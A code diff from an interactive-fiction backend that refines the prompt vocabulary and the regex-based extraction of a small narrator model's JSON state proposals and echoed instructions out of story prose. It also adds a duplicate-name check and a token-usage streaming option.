+    prose as `> set_possession(silver-key, "alice")`. An object copied into prose
+    is a proposal the extractor already recognises and removes; a call is not.
     """
     lines = []
     for name, definition in SPECS.items():
-        fields = list(definition["required"]) + [
-            f"{field}?" for field in definition["optional"]
-        ]
-        lines.append(f'  {name}({", ".join(fields)}) — {definition["summary"]}')
+        shape = {"type": name}
+        for field, kind in definition["required"].items():
+            shape[field] = _PLACEHOLDER[kind]
+        body = json.dumps(shape, ensure_ascii=False, separators=(",", ":"))
+        line = f"  {body} — {definition['summary']}"
+        if definition["optional"]:
+            line += f" (optional: {', '.join(definition['optional'])})"
+        lines.append(line)
     return "\n".join(lines)
+
+
+#: What a field of each kind looks like in the prompt's vocabulary. Placeholders,
+#: never example identifiers, so the vocabulary names nothing a story could copy.
+#: A list field is shown as a list, so the model is told its shape; every other
+#: field is an ellipsis. Measured: `"<key>"`-style placeholders with spaced
+#: separators cost 456 tokens against v1.0.0's 258; this form costs about 380,
+#: and every line is still the object the model must send.
+_PLACEHOLDER = {KEY: "…", TEXT: "…", VALUE: "…", LABELS: ["…"]}

backend/app/narrative/extract.py

@@ -24,7 +24,7 @@ from __future__ import annotations
 import json
 import re
 
-from . import events
+from . import events, render
 
 # The block the model is asked to append. Built from the vocabulary rather than
 # written beside it, so the instruction cannot describe an event the application
@@ -37,17 +37,17 @@ EMIT_RULE = (
     "appeared, record it.\n"
     "\n"
     "Every value is ABSOLUTE — the new state of things, never a change or a "
-    "difference. Use only these events:\n"
+    "difference. Use only these events, in exactly this shape:\n"
     f"{events.vocabulary_for_prompt()}\n"
     "\n"
-    "Identifiers are short lower-case slugs (mara, silver-key, old-abbey) and must "
-    "match the ones already in the state you were shown. Introduce a person, place "
-    "or thing with create_entity before referring to it. If the turn established "
-    "nothing, send an empty events list.\n"
+    "Identifiers are short lower-case slugs and must match the ones already in the "
+    "state you were shown; the example's identifiers are placeholders. Introduce a "
+    "person, place or thing with create_entity before referring to it. If the turn "
+    "established nothing, send an empty events list.\n"
     "Example:\n"
     '```state\n'
-    '{"events": [{"type": "set_possession", "item": "silver-key", "owner": "aldric"},'
-    ' {"type": "set_current_location", "entity": "aldric", "location": "old-abbey"}]}\n'
+    '{"events": [{"type": "set_possession", "item": "item-1", "owner": "character-1"},'
+    ' {"type": "set_current_location", "entity": "character-1", "location": "location-1"}]}\n'
     '```'
 )
 
@@ -58,6 +58,47 @@ EMIT_REMINDER = (
     "nothing changed.]"
 )
 
+# v1.1 WP-A2: the length hint's own words, named once. `builder.length_hint`
+# builds the hint from these, and the extractor recognises an echo of it by
+# them, so the two cannot drift apart.
+LENGTH_HINT_OPENING = "[Hard limit:"
+LENGTH_HINT_TAIL = "Finish the narration and append the state block well inside the limit."
+#: The application's wording inside a hint. A 3B narrator reworded the front
+#: ("your next turn") and the end ("This story ends here."), and kept one or the
+#: other of these every time.
+_LENGTH_HINT_PHRASE_RE = re.compile(
+    r"append the state block|turn must not exceed \d+ words", re.IGNORECASE
+)
+
+#: v1.1 WP-A2: the rules that remove protocol a narrator copied, named so the
+#: replay tool and the report can say which removed what.
+RULE_EVENT_CALL = "event_call_line"
+RULE_LENGTH_HINT = "echoed_length_hint"
+RULE_SCENE_LINE = "rendered_scene_line"
+RULE_EMPTY_FENCE = "empty_dangling_fence"
+RULE_INSTRUCTION_TAIL = "echoed_instruction_tail"
+
+#: v1.1 WP-A2 corrective (R5). The sentence `CHAT_CONTINUE_HINT` in
+#: `providers/openai_compatible.py` carries, which a narrator echoed with the rest
+#: of the hint reworded around it. Kept as a copy rather than an import, so the
+#: narrative package does not depend on the provider; a test pins that the
+#: hint still contains it.
+CONTINUE_HINT_PHRASE = "Output only story text"
+
+# R1. A whole line opening with a call to an event this protocol has. The names
+# come from the vocabulary, so a call-shaped line naming anything else — a
+# character's `open_door(north)` — is not matched.
+_EVENT_CALL_LINE_RE = re.compile(
+    r"^[ \t]*(?:>[ \t]*)?(?:"
+    + "|".join(re.escape(name) for name in events.SPECS)
+    + r")[ \t]*\(",
+    re.IGNORECASE,
+)
+# R3. The renderer's scene line carries its location this way.
+_RENDERED_SCENE_LOCATION_RE = re.compile(r"\(at [^()\n]+\)\s*$")
+# R4. An opener with nothing after it.
+_EMPTY_FENCE_LINE_RE = re.compile(r"```(?:json)?[ \t]*", re.IGNORECASE)
+
 # Three patterns, and the difference between them is the whole of this module's
 # safety. A story is allowed to contain code, and taking a code block out of
 # someone's prose is a worse failure than leaving a stray proposal in it.
@@ -67,8 +108,13 @@ EMIT_REMINDER = (
 # will take. That block must still leave the prose, and must still be recorded,
 # because an unparseable proposal is exactly the failure the audit exists to
 # make visible.
+#
+# The label must end the fence line or run straight into the payload. Without
+# that, "a ```state block" inside a parroted reminder read as a fence opening,
+# and everything up to the next fence was cut out of the middle of the reminder
+# (M11 long-run trial).
 _STATE_FENCE_RE = re.compile(
-    r"```state[^\S\n]*\n?(.*?)```", re.DOTALL | re.IGNORECASE
+    r"```state[^\S\n]*(?:\n|(?=[\[{]))(.*?)```", re.DOTALL | re.IGNORECASE
 )
 # `json` is *not* our label. Models reach for it anyway, so a ```json fence is
 # taken only when what it contains is actually a proposal. A character who
@@ -91,7 +137,9 @@ _TRAILING_RE = re.compile(r"(\{.*\})\s*$", re.DOTALL)
 # Our own label ends the story unconditionally. A dangling ```json fence is
 # judged on what follows it, because an unterminated code block in a story is
 # still the author's (M5 review, Finding 6).
-_DANGLING_STATE_RE = re.compile(r"\n?```state\b.*\Z", re.DOTALL | re.IGNORECASE)
+_DANGLING_STATE_RE = re.compile(
+    r"\n?```state[^\S\n]*(?:\n|(?=[\[{])|\Z).*\Z", re.DOTALL | re.IGNORECASE
+)
 _DANGLING_JSON_RE = re.compile(r"\n?```json\b(.*)\Z", re.DOTALL | re.IGNORECASE)
 
 # The reminder, parroted back. Small local models reproduce the bracketed
@@ -104,6 +152,9 @@ _DANGLING_JSON_RE = re.compile(r"\n?```json\b(.*)\Z", re.DOTALL | re.IGNORECASE)
 # the echo is the shape of the instruction itself — the fence token, the word it
 # opens with, or the pair of phrases the reminder uses together.
 _TRAILING_BRACKET_RE = re.compile(r"\n?\[([^\]]*)\]\s*\Z", re.DOTALL)
+# The same echo cut off before its closing bracket, which a reply that runs
+# into the output limit leaves at the end.
+_UNCLOSED_BRACKET_RE = re.compile(r"\n?\[([^\]\n]*)\Z")
 
 
 def _is_echoed_instruction(inner: str) -> bool:
@@ -113,12 +164,60 @@ def _is_echoed_instruction(inner: str) -> bool:
         return True
     if low.lstrip().startswith("reminder:"):
         return True
+    # `CHAT_CONTINUE_HINT` in `providers/openai_compatible.py`, which a model
+    # also parrots back, observed in the M11 long-run trial. Matched by its
+    # opening words only, because the echo is often cut off before it ends.
+    if low.lstrip().startswith("continue the story directly"):
+        return True
+    # v1.1 WP-A2 corrective (R5): the same hint, reworded at the front. The M11
+    # closeout-era identity re-run stored "[You don't need to continue; … Continue
+    # the story here, directly. Output only story text.]" as the last line of a
+    # reply, and because nothing recognised it, nothing above it was trailing.
+    if CONTINUE_HINT_PHRASE.lower() in low:
+        return True
+    # v1.1 WP-A2 (R2): the length hint, which names "state block" but not
+    # "events list", so it passed every check above.
+    if _is_length_hint(inner):
+        return True
     # The reminder names both; prose about the protocol rarely names either the
     # way the instruction does, and effectively never both.
     return "state block" in low and "events list" in low
 
 
-def _clean(prose: str) -> str:
+def _opens_like_length_hint(inner: str) -> bool:
+    """R5. The bracket opens with the length hint's own `Hard limit:`, whatever follows.
+
+    Never enough on its own: an in-world "[Hard limit: forty days]" opens the same
+    way. `_clean` takes it only directly above an echoed instruction it has already
+    removed from the end of the same reply.
+    """
+    return inner.lstrip().lower().startswith(LENGTH_HINT_OPENING[1:].lower())
+
+
+def _is_length_hint(inner: str) -> bool:
+    """Whether a bracket's contents are `builder.length_hint`, however reworded.
+
+    It must open the way the hint opens *and* carry the hint's own wording. An
+    in-world "Hard limit: forty days" has the opening and none of the wording.
+    """
+    opening = LENGTH_HINT_OPENING[1:].lower()
+    return (inner.lstrip().lower().startswith(opening)
+            and bool(_LENGTH_HINT_PHRASE_RE.search(inner)))
+
+
+# A heading the model writes above a block it did not fence: `State`, sometimes
+# as `State:`, `**State**` or `### State`. It is removed only in two places:
+# directly above a proposal that is removed, and as the last line of the reply.
+# A line reading "State" in the middle of a story is left alone.
+_STATE_HEADING_RE = re.compile(r"^[ \t>*#_]*state[ \t*_:]*$", re.IGNORECASE)
+
+# An unfenced object that starts a line, optionally quoted with `>`, which small
+# models copy from the player-turn convention.
+_LINE_OBJECT_RE = re.compile(r"^[ \t]*(?:>[ \t]*)?\{", re.MULTILINE)
+_QUOTE_PREFIX_RE = re.compile(r"^[ \t]*>[ \t]?")
+
+
+def _clean(prose: str, *, after_block: bool = False) -> str:
     """Removes protocol the block extraction could not, and nothing else.
 
     Found by the M5 realistic-context run (§12), which is the failure class
@@ -126,16 +225,362 @@ def _clean(prose: str) -> str:
     instruction into the narration, and the reader would have been shown it.
     Neither case here is hypothetical — both were observed against a real local
     model.
+
+    The M11 long run found two more, on 42 of 104 turns. The model pasted a copy
+    of the narrative-state section into its prose, and it wrote its proposal
+    unfenced under a bare `State` heading, sometimes quoted, sometimes with more
+    story after it. Stored text is replayed as history, so every leak also
+    showed the next prompt a second, older account of the state, which is what
+    M5 review Finding 4 removed from replayed history.
+
+    v1.1 WP-A2 added four shapes, from the M11 closeout's identity run and the
+    v1 corpus, each anchored to something the application owns rather than to
+    what prose looks like: a line opening with a vocabulary call (R1), the
+    length hint echoed at the end (R2), the renderer's scene line left last
+    (R3), and an empty fence opener left last (R4). `after_block` says a
+    proposal block was already taken out of this reply, which is what lets R3
+    remove a bare scene line that sat above it.
     """
-    cleaned = prose
-    bracket = _TRAILING_BRACKET_RE.search(cleaned)
-    if bracket is not None and _is_echoed_instruction(bracket.group(1)):
-        cleaned = cleaned[: bracket.start()]
-    cleaned = _DANGLING_STATE_RE.sub("", cleaned)
-    dangling = _DANGLING_JSON_RE.search(cleaned)
-    if dangling is not None and _reads_as_protocol(dangling.group(1)):
-        cleaned = cleaned[: dangling.start()]
-    return cleaned.strip()
+    cleaned, calls_removed = _strip_event_call_lines(prose)
+    cleaned, _found = _inline_proposals(cleaned)
+    cleaned = _strip_echoed_state(cleaned)
+    protocol_cut = after_block or calls_removed
+    # R5: set once an echoed instruction bracket has come off the end. Only then
+    # may a bracket that merely opens the way the length hint opens be taken as
+    # part of the same echoed tail.
+    instruction_cut = False
+    # The end of the reply is cut until nothing more comes off, because one kind
+    # of leftover can hide another. In a real reply, a `State` heading sat above
+    # a block the model never finished, and a parroted reminder sat above an
+    # unclosed fence.
+    while True:
+        before = cleaned
+        for pattern in (_TRAILING_BRACKET_RE, _UNCLOSED_BRACKET_RE):
+            bracket = pattern.search(cleaned)
+            if bracket is None:
+                continue
+            if _is_echoed_instruction(bracket.group(1)):
+                cleaned = cleaned[: bracket.start()]
+                instruction_cut = True
+            elif instruction_cut and _opens_like_length_hint(bracket.group(1)):
+                cleaned = cleaned[: bracket.start()]
+        cleaned = _DANGLING_STATE_RE.sub("", cleaned)
+        dangling = _DANGLING_JSON_RE.search(cleaned)
+        if dangling is not None and (_reads_as_protocol(dangling.group(1))
+                                     or _is_opening_of_proposal(dangling.group(1))):
+            cleaned = cleaned[: dangling.start()]
+        cleaned = _strip_dangling_object(cleaned)
+        cleaned = _strip_trailing_state_heading(cleaned).rstrip()
+        # A bare quote marker, the start of a quoted block that never came.
+        cleaned = re.sub(r"\n[ \t]*>[ \t]*\Z", "", cleaned)
+        cleaned = _strip_empty_dangling_fence(cleaned)
+        if cleaned.rstrip() != before.rstrip():
+            protocol_cut = True
+        cleaned = _strip_trailing_scene_line(cleaned, protocol_cut)
+        if cleaned == before:
+            return cleaned.strip()
+
+
+def _strip_event_call_lines(text: str) -> tuple[str, bool]:
+    """R1. Removes whole lines that open with a call to a vocabulary event.
+
+    A line inside a fenced code block is the story's own code and is never
+    examined. Returns the text and whether anything was removed.
+    """
+    kept: list[str] = []
+    in_fence = False
+    removed = False
+    for line in text.split("\n"):
+        if line.lstrip().startswith("```"):
+            in_fence = not in_fence
+            kept.append(line)
+            continue
+        if not in_fence and _EVENT_CALL_LINE_RE.match(line):
+            removed = True
+            continue
+        kept.append(line)
+    if not removed:
+        return text, False
+    return re.sub(r"\n{3,}", "\n\n", "\n".join(kept)), True
+
+
+def _strip_empty_dangling_fence(text: str) -> str:
+    """R4. A ```` ```json ```` or ```` ``` ```` opener as the last line, with nothing after it.
+
+    Only an *opener*: the fence lines are counted, and an even count means the
+    last one closes a story's own code block, which stays.
+    """
+    lines = text.rstrip().split("\n")
+    if len(lines) < 2 or not _EMPTY_FENCE_LINE_RE.fullmatch(lines[-1].strip()):
+        return text
+    fences = sum(1 for line in lines if line.lstrip().startswith("```"))
+    if fences % 2 == 0:
+        return text
+    return "\n".join(lines[:-1]).rstrip()
+
+
+def _strip_trailing_scene_line(text: str, protocol_cut: bool) -> str:
+    """R3. The renderer's scene line, left as the last line of the reply.
+
+    Taken when it carries the renderer's own `(at <location>)`, or when protocol
+    was already cut from this reply, which makes a bare scene line part of the
+    same pasted tail. A final screenplay-style "Scene: …" line in a reply with
+    no protocol in it stays, and so does any scene line with story after it.
+    """
+    lines = text.rstrip().split("\n")
+    if len(lines) < 2:
+        return text
+    last = lines[-1].strip()
+    if not last.startswith(render.HEADING_SCENE + " "):
+        return text
+    if not (_RENDERED_SCENE_LOCATION_RE.search(last) or protocol_cut):
+        return text
+    return "\n".join(lines[:-1]).rstrip()
+
+
+def explain_removed_line(line: str) -> str | None:
+    """Which v1.1 rule removes a line of this shape, for the replay report.
+
+    None means no v1.1 rule explains it, which the replay treats as a failure.
+    """
+    stripped = line.strip()
+    if _EVENT_CALL_LINE_RE.match(line):
+        return RULE_EVENT_CALL
+    if stripped.startswith("["):
+        inner = stripped[1:]
+        inner = inner[:-1] if inner.endswith("]") else inner
+        if _is_length_hint(inner):
+            return RULE_LENGTH_HINT
+        if _is_echoed_instruction(inner) or _opens_like_length_hint(inner):
+            return RULE_INSTRUCTION_TAIL
+    if stripped.startswith(render.HEADING_SCENE + " "):
+        return RULE_SCENE_LINE
+    if _EMPTY_FENCE_LINE_RE.fullmatch(stripped):
+        return RULE_EMPTY_FENCE
+    return None
+
+
+def _is_state_heading(line: str) -> bool:
+    return bool(_STATE_HEADING_RE.match(line))
+
+
+def _strip_trailing_state_heading(text: str) -> str:
+    lines = text.rstrip().split("\n")
+    if lines and _is_state_heading(lines[-1]):
+        return "\n".join(lines[:-1])
+    return text
+
+
+def _strip_dangling_object(text: str) -> str:
+    """Cuts an unfenced proposal the model never finished, and what follows it.
+
+    A reply that runs into the output-token limit mid-block ends inside the
+    object, often a quoted one. That happened on 10 of 104 turns in the M11 long
+    run. The object never closes, so `_inline_proposals` cannot take it. The
+    candidate is the outermost object that stays unclosed, not the last line
+    that opens one. Its finished event objects open lines too, and they close,
+    so cutting at the last of them left the list above it in the story. It is
+    cut when it reads as protocol (`_reads_as_protocol`), the same test a
+    truncated ```json fence has to pass.
+    """
+    skip_until = 0
+    for match in _LINE_OBJECT_RE.finditer(text):
+        line_start = match.start()
+        if line_start < skip_until:
+            continue
+        body = "\n".join(_QUOTE_PREFIX_RE.sub("", line, count=1)
+                         for line in text[line_start:].split("\n"))
+        closing = _object_end(body, body.find("{"))
+        if closing is None:
+            return text[:line_start] if _reads_as_protocol(body) else text
+        # Quote markers came off `body`, so this position is never past the
+        # real end of the object. A line inside the object that is examined
+        # anyway closes inside it, and is passed over too.
+        skip_until = line_start + closing
+    return text
+
+
+# The markdown a model wraps a heading in: `## Established:`, `**Held:**`,
+# `> Held:`.
+_HEADING_DECORATION_RE = re.compile(r"^[\s#>*_]+|[\s*_]+$")
+
+
+def _section_heading(line: str) -> str | None:
+    """The state-section heading this line is, markdown aside, or None."""
+    bare = _HEADING_DECORATION_RE.sub("", line)
+    return bare if bare in render.SECTION_HEADINGS else None
+
+
+def _strip_echoed_state(text: str) -> str:
+    """Removes a copy of the narrative-state section pasted into the prose.
+
+    Judged by the section's own headings (`render.SECTION_HEADINGS`) as whole
+    lines, with any markdown the model wrapped them in taken off. A block
+    qualifies when it carries two headings, or one and the scene line directly
+    above it, or one heading with an indented entry under it. That last case
+    is the model writing a section of its own: the M04 re-run found
+    `## Established:` over two indented facts on 5 turns, one of them copying
+    the planted clue out of the state section. A lone "Held:" with prose after
+    it is still somebody's story. The block runs over the headings, their
+    indented entries and the blank lines between them, and stops at the first
+    line of ordinary prose.
+    """
+    lines = text.split("\n")
+    drop = [False] * len(lines)
+    index = 0
+    while index < len(lines):
+        if _section_heading(lines[index]) is None:
+            index += 1
+            continue
+        start = index
+        above = index - 1
+        while above >= 0 and not lines[above].strip():
+            above -= 1
+        scene = above >= 0 and (
+            lines[above].strip() == render.HEADING_SCENE
+            or lines[above].lstrip().startswith(render.HEADING_SCENE + " ")
+        )
+        if scene:
+            start = above
+        headings: set[str] = set()
+        entries = 0
+        end = index
+        cursor = index
+        while cursor < len(lines):
+            line = lines[cursor]
+            stripped = line.strip()
+            heading = _section_heading(line)
+            if heading is not None:
+                headings.add(heading)
+                end = cursor
+            elif stripped and line[:1] in (" ", "\t"):
+                entries += 1
+                end = cursor
+            elif stripped:
+                break
+            cursor += 1
+        if len(headings) + (1 if scene else 0) >= 2 or (headings and entries):
+            for position in range(start, end + 1):
+                drop[position] = True
+        index = end + 1
+    if not any(drop):
+        return text
+    kept = "\n".join(line for line, gone in zip(lines, drop) if not gone)
+    return re.sub(r"\n{3,}", "\n\n", kept)
+
+
+def _object_end(text: str, start: int) -> int | None:
+    """Where the JSON object opening at `start` closes, strings respected."""
+    depth, in_string, escaped = 0, False, False
+    for position in range(start, len(text)):
+        char = text[position]
+        if in_string:
+            if escaped:
+                escaped = False
+            elif char == "\\":
+                escaped = True
+            elif char == '"':
+                in_string = False
+        elif char == '"':
+            in_string = True
+        elif char == "{":
+            depth += 1
+        elif char == "}":
+            depth -= 1
+            if depth == 0:
+                return position + 1
+    return None
+
+
+def _inline_proposals(text: str) -> tuple[str, list[tuple[dict, str]]]:
+    """Removes unfenced proposals that start a line, and returns them.
+
+    A candidate must parse and must be a proposal (`_looks_like_proposal`), the
+    same bar as a bare trailing object. JSON a character wrote stays where it
+    is. A quoted candidate is read with its `>` markers taken off, across the
+    consecutive quoted lines. A candidate with prose after it on its closing
+    line is not on its own lines, and is left alone. A bare `State` heading
+    directly above a removed proposal goes with it.
+
+    Returns the text without them, and `(parsed, raw)` for each, oldest first.
+    """
+    found: list[tuple[dict, str]] = []
+    cuts: list[tuple[int, int]] = []
+    # Candidates are taken outermost first. A line inside an object already
+    # examined is part of that object, and a proposal's own event lines open
+    # objects too, so one of them must never be taken as a proposal by itself.
+    # An object that never closes runs to the end of the text, so everything
+    # after it is inside it.
+    skip_until = 0
+    for match in _LINE_OBJECT_RE.finditer(text):
+        line_start = match.start()
+        if line_start < skip_until:
+            continue
+        line_end = text.find("\n", line_start)
+        line_end = len(text) if line_end == -1 else line_end
+        if _QUOTE_PREFIX_RE.match(text[line_start:line_end]):
+            # Gather the quoted run, unquote it, and find the object inside.
+            spans, cursor = [], line_start
+            while cursor < len(text):
+                stop = text.find("\n", cursor)
+                stop = len(text) if stop == -1 else stop
+                if not _QUOTE_PREFIX_RE.match(text[cursor:stop]):
+                    break
+                spans.append((cursor, stop))
+                cursor = stop + 1
+            body_lines = [_QUOTE_PREFIX_RE.sub("", text[a:b], count=1) for a, b in spans]
+            body = "\n".join(body_lines)
+            opening = body.find("{")
+            closing = _object_end(body, opening)
+            if closing is None:
+                break
+            consumed = body[:closing].count("\n")
+            region_end = spans[consumed][1]
+            skip_until = region_end
+            if body[closing:].split("\n", 1)[0].strip():
+                continue
+            raw = body[opening:closing]
+        else:
+            opening = match.end() - 1
+            closing = _object_end(text, opening)
+            if closing is None:
+                break
+            rest = text.find("\n", closing)
+            rest = len(text) if rest == -1 else rest
+            skip_until = rest
+            if text[closing:rest].strip():
+                continue
+            raw = text[opening:closing]
+            region_end = rest
+        parsed = _tolerant_load(raw)
+        if not _looks_like_proposal(parsed):
+            continue
+        region_start = line_start
+        before = text[:line_start].rstrip("\n").rstrip()
+        heading_start = before.rfind("\n") + 1
+        if before and _is_state_heading(before[heading_start:]):
+            region_start = heading_start
+        cuts.append((region_start, region_end))
+        found.append((parsed, raw))
+    if not cuts:
+        return text, found
+    pieces, cursor = [], 0
+    for start, end in cuts:
+        pieces.append(text[cursor:start])
+        cursor = end
+    pieces.append(text[cursor:])
+    return re.sub(r"\n{3,}", "\n\n", "".join(pieces)), found
+
+
+def _is_opening_of_proposal(tail: str) -> bool:
+    """Whether a truncated fence stopped before it could say what it was.
+
+    `{` followed by nothing but the start of `"events"`. The output limit cut
+    one reply there, before `_reads_as_protocol` had anything to go on. A
+    story's own code block is not that short, and one that is holds nothing to
+    lose."""
+    body = tail.strip()
+    return body.startswith("{") and '"events"'.startswith(body[1:].strip())
 
 
 def _reads_as_protocol(tail: str) -> bool:
@@ -180,7 +625,7 @@ def split(text: str) -> tuple[str, dict | None, str]:
     if matches:
         match = matches[-1]
         raw = match.group(1).strip()
-        prose = _clean(text[: match.start()] + text[match.end():])
+        prose = _clean(text[: match.start()] + text[match.end():], after_block=True)
         return prose, _tolerant_load(raw), raw
 
     # A `json` or unlabelled fence is ours only when its contents are this
@@ -194,7 +639,7 @@ def split(text: str) -> tuple[str, dict | None, str]:
             raw = match.group(1).strip()
             parsed = _tolerant_load(raw)
             if _looks_like_proposal(parsed) or _reads_as_protocol(raw):
-                prose = _clean(text[: match.start()] + text[match.end():])
+                prose = _clean(text[: match.start()] + text[match.end():], after_block=True)
                 return prose, parsed, raw
 
     match = _TRAILING_RE.search(text)
@@ -202,14 +647,34 @@ def split(text: str) -> tuple[str, dict | None, str]:
         raw = match.group(1)
         parsed = _tolerant_load(raw)
         if _looks_like_proposal(parsed):
-            return _clean(text[: match.start()]), parsed, raw
+            return _clean(text[: match.start()], after_block=True), parsed, raw
+
+    # An unfenced proposal on its own lines but not at the end: quoted, or
+    # followed by more story. The last one is the turn's proposal, as with
+    # fences, and every one leaves the prose.
+    without, found = _inline_proposals(text)
+    if found:
+        parsed, raw = found[-1]
+        return _clean(without, after_block=True), parsed, raw
 
     # No block at all — but the reply may still carry protocol the model wrote
     # as prose, or a fence it never closed.
     cleaned = _clean(text)
-    if cleaned != text.strip():
-        return cleaned, None, text.strip()[len(cleaned):].strip()
-    return cleaned, None, ""
+    whole = text.strip()
+    if cleaned == whole:
+        return cleaned, None, ""
+    # What came off is kept for the audit when it was protocol: an unfinished
+    # block, a parroted reminder, or a fence. A pasted copy of the state section
+    # is not a proposal, so a reply with nothing else removed records no block.
+    # That keeps the turn from being marked unparseable for a block it never
+    # started.
+    if whole.startswith(cleaned):
+        removed = whole[len(cleaned):].strip()
+        keep = (_reads_as_protocol(removed) or "```" in removed
+                or removed.startswith("["))
+        return cleaned, None, removed if keep else ""
+    # Text also came out of the middle, so what was removed is not one suffix.
+    return cleaned, None, whole if _reads_as_protocol(whole) else ""
 
 
 def _looks_like_proposal(parsed) -> bool:

backend/app/narrative/model.py

@@ -202,6 +202,43 @@ def entities_of_type(state: dict, wanted: str) -> dict:
     }
 
 
+def duplicate_names(state) -> dict[str, list[str]]:
+    """Entities that share a display name, keyed by the name they share.
+
+    M11, post-M8 finding D. Two people in one scene were narrated as though
+    "Alice" were two different Alices, and the root cause could not be
+    established because the campaign was gone. One structural fact was
+    establishable by reading the code, and this is it: entities are keyed by the
+    id the model supplies, `DUPLICATE_ENTITY` rejects only a repeated *key*, and
+    nothing anywhere looks at `name`. Two entities called Alice are therefore
+    legal, silent, and exactly what the reader described seeing.
+
+    **This reports; it does not refuse.** Two people called Alice is an ordinary
+    thing for a story to contain — a mother and a daughter, a stranger who gives
+    a false name — and refusing it would refuse legitimate fiction in order to
+    guard against a model mistake. What was missing was not a rule but a signal:
+    nobody could see that it had happened. The identity diagnostic reads this,
+    the state panel can show it, and the decision stays the reader's.
+
+    Names are compared case-insensitively and stripped, because "Alice" and
+    "alice " are the same person to a reader and to a narrator, which is the
+    level the confusion happens at. Entities with no name are ignored: an
+    unnamed entity is not competing for a name with anything.
+    """
+    entities = (state or {}).get("entities")
+    if not isinstance(entities, dict):
+        return {}
+    seen: dict[str, list[str]] = {}
+    for key, value in entities.items():
+        if not isinstance(value, dict):
+            continue
+        name = str(value.get("name") or "").strip().lower()
+        if not name:
+            continue
+        seen.setdefault(name, []).append(key)
+    return {name: keys for name, keys in seen.items() if len(keys) > 1}
+
+
 # --------------------------------------------------------------- possessions
 
 def owner_of(state: dict, item_key: str) -> str | None:

backend/app/narrative/render.py

@@ -23,6 +23,23 @@ PROMPT_FACTS = 30
 PROMPT_RELATIONSHIPS = 20
 PROMPT_THREADS = 12
 
+# The headings of `for_prompt`, each a whole line. `extract` recognises a copy of
+# this section pasted into a narration by these, so they are named once here and
+# the two cannot drift apart. A small local model reproduced the section in its
+# prose on 42 of 104 turns in the first M01 run with the memory bank on.
+HEADING_SCENE = "Scene:"
+HEADING_ENTITIES = "Who and what exists:"
+HEADING_HELD = "Held:"
+HEADING_FACTS = "Established:"
+HEADING_WITHDRAWN = "No longer true — do not treat these as established:"
+HEADING_RELATIONSHIPS = "Between them:"
+HEADING_THREADS = "Still open:"
+#: Every heading except the scene's, which also opens the line it heads.
+SECTION_HEADINGS = (
+    HEADING_ENTITIES, HEADING_HELD, HEADING_FACTS, HEADING_WITHDRAWN,
+    HEADING_RELATIONSHIPS, HEADING_THREADS,
+)
+
 
 def for_prompt(state) -> str:
     """The current state as the narrator is shown it.
@@ -38,7 +55,7 @@ def for_prompt(state) -> str:
     scene = document.get("scene") or {}
     if scene.get("summary") or scene.get("location"):
         where = scene.get("location")
-        head = "Scene: " + str(scene.get("summary") or "").strip()
+        head = f"{HEADING_SCENE} " + str(scene.get("summary") or "").strip()
         if where:
             head += f" (at {model.entity_name(document, where)})"
         lines.append(head.strip())
@@ -46,14 +63,14 @@ def for_prompt(state) -> str:
     entities = document["entities"]
     if entities:
         lines.append("")
-        lines.append("Who and what exists:")
+        lines.append(HEADING_ENTITIES)
         for key, entity in entities.items():
             lines.append(f"  {key}: {_entity_line(document, key, entity)}")
 
     possessions = document["possessions"]
     if possessions:
         lines.append("")
-        lines.append("Held:")
+        lines.append(HEADING_HELD)
         for item, owner in sorted(possessions.items()):
             lines.append(
                 f"  {model.entity_name(document, item)} — "
@@ -63,7 +80,7 @@ def for_prompt(state) -> str:
     facts = model.active_facts(document)
     if facts:
         lines.append("")
-        lines.append("Established:")
+        lines.append(HEADING_FACTS)
         for fact in facts[-PROMPT_FACTS:]:
             lines.append(f"  {_fact_line(document, fact)}")
 
@@ -74,7 +91,7 @@ def for_prompt(state) -> str:
     withdrawn = model.withdrawn_facts(document)
     if withdrawn:
         lines.append("")
-        lines.append("No longer true — do not treat these as established:")
+        lines.append(HEADING_WITHDRAWN)
         for fact in withdrawn[-PROMPT_FACTS:]:
             line = f"  {_fact_line(document, fact)}"
             reason = fact.get("invalidated_reason")
@@ -85,7 +102,7 @@ def for_prompt(state) -> str:
     relationships = model.active_relationships(document)
     if relationships:
         lines.append("")
-        lines.append("Between them:")
+        lines.append(HEADING_RELATIONSHIPS)
         for relationship in relationships[-PROMPT_RELATIONSHIPS:]:
             lines.append(
                 f"  {model.entity_name(document, relationship['source'])} "
@@ -96,7 +113,7 @@ def for_prompt(state) -> str:
     threads = model.open_threads(document)
     if threads:
         lines.append("")
-        lines.append("Still open:")
+        lines.append(HEADING_THREADS)
         for key, thread in list(threads.items())[:PROMPT_THREADS]:
             lines.append(f"  {key}: {thread.get('title', key)}")
 

backend/app/providers/openai_compatible.py

@@ -26,6 +26,10 @@ EMBED_READ_TIMEOUT = 60.0
 
 
 
+#: v1.1 WP-A1: ask a stream to report its token usage. Without it Ollama sends
+#: none, and a prompt the server cut cannot be told from one it read whole.
+STREAM_OPTIONS = {"include_usage": True}
+
 # Completion endpoints have no roles, so a chat has to be flattened into one
 # labeled transcript that ends on "Assistant:" for the model to continue.
 _ROLE_LABELS = {"system": "System", "user": "User", "assistant": "Assistant"}
@@ -84,10 +88,14 @@ class OpenAICompatibleProvider(Provider):
     def _record_usage(self, payload: dict) -> None:
         """Records the endpoint's own token accounting, if it reported any.
 
-        OpenRouter now always reports usage, and `usage: {include: true}` and
-        `stream_options` are deprecated and do nothing. In a stream the usage
-        arrives on a final chunk that carries no choices, which is why this is
-        read separately from the text extraction.
+        In a stream the usage arrives on a final chunk that carries no choices,
+        which is why this is read separately from the text extraction.
+
+        v1.1 WP-A1: Ollama sends that chunk only when asked. Measured on Ollama
+        0.33: a stream with no `stream_options` carried no usage at all, and not
+        one of the 514 AI turns in the v1 evidence had a count stored. Every
+        streaming body therefore sets `stream_options.include_usage`
+        (`STREAM_OPTIONS`), and the turn compares the count with what it sent.
         """
         usage = payload.get("usage")
         if isinstance(usage, dict) and usage:
@@ -102,6 +110,7 @@ class OpenAICompatibleProvider(Provider):
                 "temperature": temperature,
                 "max_tokens": max_tokens,
                 "stream": True,
+                "stream_options": dict(STREAM_OPTIONS),
             }
         else:
             url = f"{self.base_url}/chat/completions"
@@ -114,6 +123,7 @@ class OpenAICompatibleProvider(Provider):
                 "temperature": temperature,
                 "max_tokens": max_tokens,
                 "stream": True,
+                "stream_options": dict(STREAM_OPTIONS),
             }
         return url, body
 
@@ -183,6 +193,7 @@ class OpenAICompatibleProvider(Provider):
                 "temperature": temperature,
                 "max_tokens": max_tokens,
                 "stream": True,
+                "stream_options": dict(STREAM_OPTIONS),
             }
         else:
             url = f"{self.base_url}/chat/completions"
